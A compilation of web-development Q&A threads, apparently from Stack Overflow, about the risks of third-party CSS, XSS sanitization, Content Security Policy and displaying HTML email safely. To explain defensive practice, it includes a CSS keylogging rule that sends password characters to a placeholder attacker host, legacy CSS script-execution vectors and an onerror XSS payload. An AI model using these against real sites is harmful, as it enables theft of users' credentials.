My goal is to allow partners to style their landing pages with their own look and feel by passing us a link to their stylesheet in a URL parameter. Are there security or browser compatibility concerns with loading third-party CSS via JavaScript?
In CSS Files.
expressions(code), behavior:url(), url(javascript:code), and -moz-binding:url() all have potential security issues.
Behavior can't be cross domain so that removes some threat, but generally speaking you do need to sanitize it somehow.
If you allow the user to link to CSS on external servers, there isn't a fullproof way to validate. The server could check the CSS file on the server to ensure there is nothing malicious, but what if the user changes the stylesheet? You would have to continuously check the stylesheet. Also the server could potential feed different info to the servers ip address in attempt to bypass the validation method.
In all honesty I would advise storing the CSS on your own server. Simple run it throw a regex parser that removes the possible malicious code from above.
As long as you validate it somehow you should be good.
GOLDEN RULE: Do NOT trust the user
If the user is the only person with the ability to see their custom CSS, then there is not really any danger. They could ruin their own experience on your site, but not that of others.
However, if their custom CSS is displayed to other users, then they could potentially use it to completely mess up the styles of your site as you intended. For example, they could simply grab the id of some important elements from your source, and override them to hide them.
Of course, as long as you are careful and properly sanitize all user input, you should not face any major problems.
CSS expressions only work in IE 6-7, but allow inline JS to be used (generally to calculate a value to set).
For example:
/* set bgcolor based on time */
div.title {
background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}
however, this could potentially be used to do malicious things, i'd say it's at least worth some testing.
In the event that the 3rd party is hacked and attackers replace the benign css with evil css, you could be vulnerable to:
css exfiltration attacks*
targeted strikes that changes to the page's ui that change the meaning in a dangerous way. For example, adding an extra 1 before the dosage of a medicine, making it a fatal dose instead of a treatment. Or hiding the checkout button, making it harder to buy things on your site.
objectionable content or random advertisements, spam
legacy browsers running scripts via expressions(code), behavior:url(), url(javascript:code), and -moz-binding:url(). This is likely obsolete, but may still be relevant in rare cases.
any css attack yet to be developed (trusting 3rd party css opens you up to any and all future css zero-days if the 3rd party is attacked)
The bottom line
Loading 3rd party css is somewhat dangerous as you are increasing your attack surface in the event that the 3rd party is attacked. If possible, store a known, safe version of the 3rd party css on your own server and serve that (basically, convert it to 1st party).
*css exfiltration attack - see https://github.com/maxchehab/CSS-Keylogging. For example, this css will tell the attacker that a user has typed the character "a" in the password field.
input[type="password"][value$="a"] {
background-image: url("http://evilsite.com/a");
}
references: https://jakearchibald.com/2018/third-party-css-is-not-safe/
see also: https://security.stackexchange.com/questions/37832/css-based-attacks
Related
I never thought to ask this, but I work on a security product and so we implement pretty strict protection against XSS:
We disallow < and > in user input both server- and client-side
If the user does manage to make a request containing either of those characters, the server will disable their account and leave a warning for an admin
Angular also sanitizes interpolated content before injecting it into the DOM
This is all great and dandy, except, it hurts UX and it's bad for performance. Surely, SURELY, there is a way to just tell the browser NOT to execute <script> tags added after initial document parsing, right? We use a modern bundled workflow and any lazy-loading of JavaScript will be done via import("/some/js/module") calls which get rebased by the bundler but will never be fed a dynamic value at runtime.
Even if there isn't a way to straight up tell the browser not to run dynamically added (by JS after page load) <script> tags, is there a tried and true workflow for rendering, say, markdown + HTML subset user-produced content in iframes? I am familiar with iframes at a high-level, but I mean can the parent document/page manipulate the DOM content of the iframe or something so even if it does add a <script> tag inside the iframe, the script code will not have access to the parent document's JS environment?
Actually that would be cool as a sandboxed way to display user content because they could intentionally include a script and make a little interactive widget for other users to mess with, in theory (maybe an antifeature in practice).
You can do it with CSP (Content Security Policy)
https://developers.google.com/web/fundamentals/security/csp#inline-code-considered-harmful
Example:
Allow only :
<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
// Some inline code I can't remove yet, but need to asap.
</script>
with
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
Start by blocking all with:
default-src 'none'
Soo, now with all the GDPR, and opt-in cookie boxes, i have run in to a small issue..
I have set my google analytics code into a javascript file, and added it to my layout :
<script src="~/Scripts/Google/analytics.js" class="cookie-script" type="text/plain"></script>
I have it set to text/plain in the beginning, and then i have some other script that checks if you have accepted cookies.
When you have accepted cookies, it will change it to text/javascript.
It also checks at page load if you have already accepted and then changes it to text/javascript..
My issue...
It does not appear it is tracking correctly with google analytics..
Can analytics not figure out to track once it has been "activated" ?
How to overcome this, so i can still get my data ?
in my analytics account, i have taken the code it says to include in my head element. But no data makes it through...
It does not cause problems, if the intent is that browsers do not interpret the content of the element as script code but just as text data that is not rendered. It’s there for scripts to use it, but otherwise it’s ignored. Well, in some browsers, the content might be made visible using CSS, but by default it’s not shown.
Using is valid by HTML specs. Even is valid, though it violates the prose requirement that the attribute value be a MIME type. The specs do not specify its meaning, but the only feasible interpretation, and what browsers do in practice, is that it is not in any scripting language and no execution as script is attempted.
So type="text/plain" may be used to intentionally prevent execution of a script, while still keeping it in the source. It may also be used to carry bulks of character data used for some processing.
The type attribute may serve purposes like this, and it can also be used to specify scripting languages other than JavaScript (rarely used, but still possible in some environments). Using the type attribute just to specify JavaScript is not needed, and cannot be recommended: the only thing that you might achieve is errors: if you mistype, e.g. type="text/javascript", the content will be regarded as being in an unknown language, hence ignored.
I wrote a web application that fetches email via IMAP. I now need to display these emails to the user.
I thought it would be simple (I am displaying HTML within an HTML-capable browser) until I looked into this a little... and discovered that there are tons of issues, such as:
Javascript & security
Style breaking
Surely more
Is there a good, safe way to display an HTML email? I would err for "safe" rather than "gorgeous", even though I don't want to display just the text version of an email (which is not even guaranteed to be there anyway...)
I realise the most obvious answer is "put everything in a frame" -- is that really it though? Will it actually work?
I am using Node server side if it helps...
..most obvious answer is "put everything in a frame"...will it actually work?
Yes, e.g. Whiteout Networks GmbH's WHITEOUT.IO does it in /src/tpl/read.html and /src/js/controller/read-sandbox.js. Some of the security issues are handled by DOMPurify
..there are tons of issues..Is there a good, safe way..?
I know the message data format also under names EML or MHTML so looking for a good "XY to HTML converter" or "HTML5 document viewer with XY support" may point you to a usable results (e.g. GroupDocs.Viewer)
Some e-mail clients (e.g. GMail) don't use iframe, instead they use a mail parser (e.g. andris9/mailparser) and a HTML parser (e.g. cheeriojs/cheerio) to extract an e-mail-safe-html subset (see Stack Overflow: What guidelines for HTML email design are there? and Stack Overflow: Styling html email for GMail for some examples) or use a HTML sanitizer (e.g. Google's Caja, cure53/DOMPurify) and embed the code directly into the page.
But it is not always an easy thing, there is no consensus on what constitutes the e-mail-safe-html subset and you certainly don't wont to inline possibly infected attachments nor run anonymous CORS scripts within the secured user's session.
Anyway, as always, studying source code of various e-mail clients (see Wikipedia: Comparison of email clients) is the way to find out..
I currently have a simple <div contenteditable="true"> working, but, here's my problem.
Currently, the user can create a persistent XSS by inserting a <script> into the div, which I definitely do not want.
However, my current ideas to fix this are:
Allow only a and img tags
Use a textarea (not a good idea, because then have users copy and paste images)
What do you guys suggest?
You have to keep in mind that to prevent xss, you've GOT TO DO IT ON THE SERVER SIDE. If your rich text editor (ex YUI or tinyMCE) has some javascript to prevent a script tag from being inputted, that doesn't stop me from inspecting your http post requests, looking at the variable names you're using, and then using firefox poster to send whatever string I like to your server to bypass all client side validation. If you aren't validating user input SERVER SIDE then you're doing almost nothing productive to protect from XSS.
Any client side xss protection would have to do with how you render user input; not how you receive it. So, for example, if you encoded all input so it does not render as html. This goes away from what you want to accomplish though (just anchor and img tags). Just keep in mind the more you allow to be rendered the more possible vulnerabilities you expose.
That being said the bulk of your protection should come from the server side and there are a lot of XSS filters out there depending on what you're writing with (ex, asp.net or tomcat/derby/jboss) that you can look into.
I think you're on the right path by allowing ONLY a and img tags. The one thing you have to keep in mind is that you can put javascript commands into the src attributes of a tags, so take care to validate the href attributes. But the basic idea of "allow nothing and then change the filters to only allow certain things" (AKA whitelist filtering) is better than "allow everything and then filter out what I don't want" (AKA blacklist filtering).
In the comments below, Brian Nickel also said this which illustrates the point:
Everything but the elements and attributes you want to keep. I
know you mentioned it in your answer but that bears repeating since it
is so scary. <img onerror="stealMoney()">
The other thing you're going to want to do is define a XSSFilterRequest object (or something along those lines) and in a filter, override your requests so that any call to whatever your "getUrlParameter" and "getRequestParameter" objects run the request values through your xss filter. This provides a clean way to filter everything without rewriting existing code.
EDIT: A python example of xss filtering:
Python HTML sanitizer / scrubber / filter
Python library for XSS filtering?
What about using google caja (a source-to-source translator for securing Javascript-based web content)?
Unless you have xss validation on server side you could apply html_sanitize both to data sent from the user and data received from the server that is to be displayed. In worst case scenario you'll get XSSed content in database that will never be displayed to the user.
I'll be inserting content from remote sources into a web app. The sources should be limited/trusted, but there are still a couple of problems:
The remote sources could
1) be hacked and inject bad things
2) overwrite objects in my global names
space
3) I might eventually open it up for users to enter their own remote source. (It would be up to the user to not get in trouble, but I could still reduce the risk.)
So I want to neutralize any/all injected content just to be safe.
Here's my plan so far:
1) find and remove all inline event handlers
str.replace(/(<[^>]+\bon\w+\s*=\s*["']?)/gi,"$1return;"); // untested
Ex.
<a onclick="doSomethingBad()" ...
would become
<a onclick="return;doSomethingBad()" ...
2) remove all occurences of these tags:
script, embed, object, form, iframe, or applet
3) find all occurences of the word script within a tag
and replace the word script with html entities for it
str.replace(/(<[>+])(script)/gi,toHTMLEntitiesFunc);
would take care
<a href="javascript: ..."
4) lastly any src or href attribute that doesn't start with http, should have the domain name of the remote source prepended to it
My question: Am I missing anything else? Other things that I should definitely do or not do?
Edit: I have a feeling that responses are going to fall into a couple camps.
1) The "Don't do it!" response
Okay, if someone wants to be 100% safe, they need to disconnect the computer.
It's a balance between usability and safety.
There's nothing to stop a user from just going to a site directly and being exposed. If I open it up, it will be a user entering content at their own risk. They could just as easily enter a given URL into their address bar as in my form. So unless there's a particular risk to my server, I'm okay with those risks.
2) The "I'm aware of common exploits and you need to account for this ..." response ... or You can prevent another kind of attack by doing this ... or What about this attack ...?
I'm looking for the second type unless someone can provide specific reasons why my would be more dangerous than what the user can do on their own.
Instead of sanitizing (black listing). I'd suggest you setup a white list and ONLY allow those very specific things.
The reason for this is you will never, never, never catch all variations of malicious script. There's just too many of them.
don't forget to also include <frame> and <frameset> along with <iframe>
for the sanitization thing , are you looking for this?
if not, perhaps you could learn a few tips from this code snippet.
But, it must go without saying that prevention is better than cure. You had better allow only trusted sources, than allow all and then sanitize.
On a related note, you may want to take a look at this article, and its slashdot discussion.
It sounds like you want to do the following:
Insert snippets of static HTML into your web page
These snippets are requested via AJAX from a remote site.
You want to sanitise the HTML before injecting into the site, as this could lead to security problems like XSS.
If this is the case, then there are no easy ways to strip out 'bad' content in JavaScript. A whitelist solution is the best, but this can get very complex. I would suggest proxying requests for the remote content through your own server and sanitizing the HTML server side. There are various libraries that can do this. I would recommend either AntiSamy or HTMLPurifier.
For a completely browser-based way of doing this, you can use IE8's toStaticHTML method. However no other browser currently implements this.